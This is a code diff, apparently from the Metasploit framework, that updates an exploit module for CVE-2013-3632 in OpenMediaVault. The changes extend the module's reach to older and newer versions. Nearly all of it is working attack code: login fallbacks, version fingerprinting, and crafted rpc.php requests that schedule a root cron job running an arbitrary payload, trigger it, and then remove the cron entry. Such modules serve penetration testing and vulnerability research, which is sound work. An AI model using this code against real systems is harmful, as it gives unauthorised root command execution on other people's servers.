@@ -18,20 +18,20 @@ def initialize(info = {})
18
18
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
19
19
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
20
20
a cron entry that runs arbitrary commands as root on the system.
21
- All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
21
+ All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
22
22
} ,
23
23
'License' => MSF_LICENSE ,
24
24
'Author' => [
25
25
'h00die-gr3y <h00die.gr3y[at]gmail.com>' , # MSF module contributor
26
- 'Brandon Perry <bperry.volatile[at]gmail.com>' , # Original Discovery
27
- 'Mert BENADAM' # exploit author
26
+ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Original Discovery
28
27
] ,
29
28
'References' => [
30
29
[ 'CVE' , '2013-3632' ] ,
31
30
[ 'PACKETSTORM' , '178526' ] ,
31
+ [ 'URL' , 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats' ] ,
32
32
[ 'URL' , 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632' ]
33
33
] ,
34
- 'DisclosureDate' => '2024-05-08 ' ,
34
+ 'DisclosureDate' => '2013-10-30 ' ,
35
35
'Platform' => [ 'unix' , 'linux' ] ,
36
36
'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 , ARCH_ARMLE , ARCH_AARCH64 ] ,
37
37
'Privileged' => true ,
@@ -91,6 +91,7 @@ def rpc_success?(res)
91
91
92
92
def login ( user , pass )
93
93
print_status ( "#{ peer } - Authenticating with OpenMediaVault using credentials #{ user } :#{ pass } " )
94
+ # try the login options for all OpenMediaVault versions
94
95
res = send_request_cgi ( {
95
96
'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
96
97
'method' => 'POST' ,
@@ -106,7 +107,42 @@ def login(user, pass)
106
107
options : nil
107
108
} . to_json
108
109
} )
109
- res &.code == 200 && res . body . include? ( '"authenticated":true' )
110
+ unless res . code == 200 && res . body . include? ( '"authenticated":true' )
111
+ res = send_request_cgi ( {
112
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
113
+ 'method' => 'POST' ,
114
+ 'keep_cookies' => true ,
115
+ 'ctype' => 'application/json' ,
116
+ 'data' => {
117
+ service : 'Authentication' ,
118
+ method : 'login' ,
119
+ params : {
120
+ username : user ,
121
+ password : pass
122
+ }
123
+ } . to_json
124
+ } )
125
+ end
126
+ unless res . code == 200 && res . body . include? ( '"authenticated":true' )
127
+ res = send_request_cgi ( {
128
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
129
+ 'method' => 'POST' ,
130
+ 'keep_cookies' => true ,
131
+ 'ctype' => 'application/json' ,
132
+ 'data' => {
133
+ service : 'Authentication' ,
134
+ method : 'login' ,
135
+ params : [
136
+ {
137
+ username : user ,
138
+ password : pass
139
+ }
140
+ ]
141
+ } . to_json
142
+ } )
143
+ return res &.code == 200 && res . body . include? ( '"authenticated":true' )
144
+ end
145
+ true
110
146
end
111
147
112
148
def check_version
@@ -119,20 +155,18 @@ def check_version
119
155
'data' => {
120
156
service : 'System' ,
121
157
method : 'getInformation' ,
122
- params : nil ,
123
- options : {
124
- updatelastaccess : false
125
- }
158
+ params : nil
126
159
} . to_json
127
160
} )
128
161
return nil unless rpc_success? ( res )
129
162
130
163
# parse json response and get the version
131
164
res_json = res . get_json_document
132
165
unless res_json . blank?
133
- # OpenMediaVault v4 has a different json format where index 1 has the version information
166
+ # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
134
167
version = res_json . dig ( 'response' , 1 , 'value' )
135
168
version = res_json . dig ( 'response' , 'version' ) if version . nil?
169
+ version = res_json . dig ( 'response' , 'data' , 1 , 'value' ) if version . nil?
136
170
return Rex ::Version . new ( version . split ( '(' ) [ 0 ] . gsub ( /[[:space:]]/ , '' ) ) unless version . nil?
137
171
end
138
172
nil
@@ -160,34 +194,78 @@ def apply_config_changes
160
194
def execute_command ( cmd , _opts = { } )
161
195
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
162
196
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
163
- # OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
164
- # OpenMediaVault < 1 .0.0 is not supported in this module. It will never reach here because the login will fail
165
- # MSF module: exploit/multi/http/openmediavault_cmd_exec can be used to exploit these versions
197
+ # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
198
+ # OpenMediaVault v0.2.6.4 - v1 .0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
199
+ # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
166
200
schedule = @version_number >= Rex ::Version . new ( '6.0.15-1' ) ? [ '*' ] : '*'
167
201
uuid = @version_number <= Rex ::Version . new ( '3.0.15' ) ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
168
- post_data = {
169
- service : 'Cron' ,
170
- method : 'set' ,
171
- params : {
172
- uuid : uuid ,
173
- enable : true ,
174
- execution : 'exactly' ,
175
- minute : schedule ,
176
- everynminute : false ,
177
- hour : schedule ,
178
- everynhour : false ,
179
- dayofmonth : schedule ,
180
- everyndayofmonth : false ,
181
- month : schedule ,
182
- dayofweek : schedule ,
183
- username : 'root' ,
184
- command : cmd . to_s , # payload
185
- sendemail : false ,
186
- comment : '' ,
187
- type : 'userdefined'
188
- } ,
189
- options : nil
190
- } . to_json
202
+
203
+ if @version_number > Rex ::Version . new ( '1.0.32' )
204
+ post_data = {
205
+ service : 'Cron' ,
206
+ method : 'set' ,
207
+ params : {
208
+ uuid : uuid ,
209
+ enable : true ,
210
+ execution : 'exactly' ,
211
+ minute : schedule ,
212
+ everynminute : false ,
213
+ hour : schedule ,
214
+ everynhour : false ,
215
+ dayofmonth : schedule ,
216
+ everyndayofmonth : false ,
217
+ month : schedule ,
218
+ dayofweek : schedule ,
219
+ username : 'root' ,
220
+ command : cmd . to_s , # payload
221
+ sendemail : false ,
222
+ comment : '' ,
223
+ type : 'userdefined'
224
+ } ,
225
+ options : nil
226
+ } . to_json
227
+ elsif @version_number >= Rex ::Version . new ( '0.2.6.4' )
228
+ post_data = {
229
+ service : 'Cron' ,
230
+ method : 'set' ,
231
+ params : {
232
+ uuid : uuid ,
233
+ enable : true ,
234
+ minute : schedule ,
235
+ everynminute : false ,
236
+ hour : schedule ,
237
+ everynhour : false ,
238
+ dayofmonth : schedule ,
239
+ everyndayofmonth : false ,
240
+ month : schedule ,
241
+ dayofweek : schedule ,
242
+ username : 'root' ,
243
+ command : cmd . to_s , # payload
244
+ sendemail : false ,
245
+ comment : '' ,
246
+ type : 'userdefined'
247
+ }
248
+ } . to_json
249
+ else
250
+ post_data = {
251
+ service : 'Cron' ,
252
+ method : 'set' ,
253
+ params : [
254
+ {
255
+ uuid : uuid ,
256
+ minute : schedule ,
257
+ hour : schedule ,
258
+ dayofmonth : schedule ,
259
+ month : schedule ,
260
+ dayofweek : schedule ,
261
+ username : 'root' ,
262
+ command : cmd . to_s , # payload
263
+ comment : '' ,
264
+ type : 'userdefined'
265
+ }
266
+ ]
267
+ } . to_json
268
+ end
191
269
192
270
res = send_request_cgi ( {
193
271
'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
@@ -203,10 +281,42 @@ def execute_command(cmd, _opts = {})
203
281
res_json = res . get_json_document
204
282
@cron_uuid = res_json . dig ( 'response' , 'uuid' ) || ''
205
283
284
+ # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
285
+ if @cron_uuid . blank?
286
+ if @version_number >= Rex ::Version . new ( '0.2.6.4' )
287
+ method = 'getList'
288
+ else
289
+ method = 'getListByType'
290
+ end
291
+ post_data = {
292
+ service : 'Cron' ,
293
+ method : method ,
294
+ params : {
295
+ start : 0 ,
296
+ limit : -1 ,
297
+ sortfield : nil ,
298
+ sortdir : nil ,
299
+ type : [ 'userdefined' ]
300
+ }
301
+ } . to_json
302
+
303
+ res = send_request_cgi ( {
304
+ 'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
305
+ 'method' => 'POST' ,
306
+ 'ctype' => 'application/json' ,
307
+ 'keep_cookies' => true ,
308
+ 'data' => post_data
309
+ } )
310
+ res_json = res . get_json_document
311
+ # get total list of entries and pick the last one
312
+ index = res_json . dig ( 'response' , 'total' )
313
+ @cron_uuid = res_json . dig ( 'response' , 'data' , index - 1 , 'uuid' ) || ''
314
+ end
315
+
206
316
# Apply and update cron configuration to trigger payload execution (1 minute)
207
- res = apply_config_changes
208
- fail_with ( Failure :: Unknown , 'Cannot apply cron changes to trigger payload execution.' ) unless res && res . code == 200 && res . body . include? ( '"error":null' )
209
- print_good ( 'Cron payload execution triggered. Wait at least 1 minute for the session to be established.' )
317
+ # versions lower then 0.5.48 do not need this because execution is automatic
318
+ apply_config_changes
319
+ print_status ( 'Cron payload execution triggered. Wait at least 1 minute for the session to be established.' )
210
320
end
211
321
212
322
def on_new_session ( _session )
@@ -222,18 +332,15 @@ def on_new_session(_session)
222
332
method : 'delete' ,
223
333
params : {
224
334
uuid : @cron_uuid . to_s
225
- } ,
226
- options : nil
335
+ }
336
+ # options: nil
227
337
} . to_json
228
338
} )
229
339
if rpc_success? ( res )
230
340
# Apply changes and update cron configuration to remove the payload entry
231
- res = apply_config_changes
232
- if rpc_success? ( res )
233
- print_good ( 'Cron payload entry successfully removed.' )
234
- else
235
- print_warning ( 'Cannot apply the cron changes to remove the payload entry.' )
236
- end
341
+ # versions lower then 0.5.48 do not need this because execution is automatic
342
+ apply_config_changes
343
+ print_good ( 'Cron payload entry successfully removed.' )
237
344
else
238
345
print_warning ( 'Cannot access the cron services to remove the payload entry. If required, remove the entry manually.' )
239
346
end
@@ -246,16 +353,10 @@ def check
246
353
return CheckCode ::Unknown ( 'Failed to authenticate at OpenMediaVault.' ) unless @logged_in
247
354
248
355
@version_number = check_version
249
- unless @version_number . nil?
250
- if @version_number . between? ( Rex ::Version . new ( '1.0.0' ) , Rex ::Version . new ( '7.3.1-1' ) )
251
- return CheckCode ::Vulnerable ( "Version #{ @version_number } " )
252
- else
253
- return CheckCode ::Appears ( "Version #{ @version_number } can be exploited with module exploit/unix/webapp/openmediavault_cmd_exec" ) if @version_number < Rex ::Version . new ( '1.0.0' )
356
+ return CheckCode ::Unknown ( 'Could not retrieve the version information.' ) if @version_number . nil?
357
+ return CheckCode ::Vulnerable ( "Version #{ @version_number } " ) if @version_number . between? ( Rex ::Version . new ( '0.1' ) , Rex ::Version . new ( '7.4.2-2' ) )
254
358
255
- return CheckCode ::Detected ( "Version #{ @version_number } " )
256
- end
257
- end
258
- CheckCode ::Unknown ( 'Could not retrieve the version information.' )
359
+ CheckCode ::Detected ( "Version #{ @version_number } " )
259
360
end
260
361
261
362
def exploit
0 commit comments